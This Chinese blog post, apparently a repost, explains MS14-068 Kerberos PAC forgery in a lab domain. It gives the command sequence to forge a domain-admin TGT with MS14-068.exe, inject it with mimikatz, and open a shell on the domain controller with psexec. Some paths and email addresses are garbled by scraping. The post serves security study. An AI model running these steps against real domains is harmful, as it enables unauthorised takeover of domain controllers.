目录
-
前言
-
利用过程
-
原理浅析
-
小结
前言
漏洞本质
伪造高权限的PAC,获取高权限的身份
达成效果
允许域内任何普通用户,将自己摇身一变为域管理员身份
对应补丁
KB3011780
利用
伪造TGT
用户主体名称 (UPN) [-u]:NEO@ADCS.LAB
用户密码 [-p]: P@ssword
用户安全标识符 (SID) [-s]:S-1-5-21-1473643419-774954089-2222329127-1110
目标域控 [-d]:DC.ADSEC.LAB 或者 域控IP地址
用到的命令
# 查看是否已打补丁
systeminfo |findstr "3011780"
# 查看安全标识符 SID
whoami /user
利用工具
-
MS14-068
MS14-068.exe -u [email protected] -s S-1-5-21-3519724315-1664904613-68949924-1105 -d 192.168.100.254 -p P@ssword
MS14-068.exe -u [email protected] -s S-1-5-21-3519724315-1664904613-68949924-1105 -d DC.ADSEC.LAB -p P@ssword
清除本地历史票据
klist purge
验证当前对域控的访问权限
dir \DC.ADSEC.LABc$
使用mimikatz将伪造的Kerberos TGT注入到到当前用户会话中
kerberos::ptc [email protected]
再次访问域控
使用psexec64成功拿下域控
psexec64 \DC cmd.exe
原理浅析
其实出现这个问题的关键点在于PAC(特权属性证书:验证用户所拥有的权限)
先大致回顾一下Kerberos的认证流程
其中,PAC是默认包含在TGT中的;
通常情况下,AS_REQ 请求中如果include-pac被置为 true,只要 AS 服务通过了域用户的认证,则会在返回的 AS_REP 数据包中的 TGT 中加入 PAC 信息;
而如果在 AS_REQ 请求时,include-pac被置为 false,则 AS_REP 返回的 TGT 中就不会包含 PAC 信息。
pykek涉及include-pac的部分
于是,在AS_REP返回的TGT中没有PAC信息后,域用户则可以伪造"恶意"的PAC放入TGS_REQ中,KDC解密PAC后会再次加密到一个新的TGT中并返回给域用户,此时的TGT中已经携带了“恶意”PAC,也就达到漏洞利用的目的。
至于后面都是正常的认证流程,和漏洞产生没啥太大联系。涉及的具体原理和细节,还在啃。。。
小结
稳住,还能赢。
参考:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/mubix/pykek/
https://blog.csdn.net/zy_strive_2012/article/details/51698780
本文始发于微信公众号(don9sec):域渗透 MS14-068利用及原理浅析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论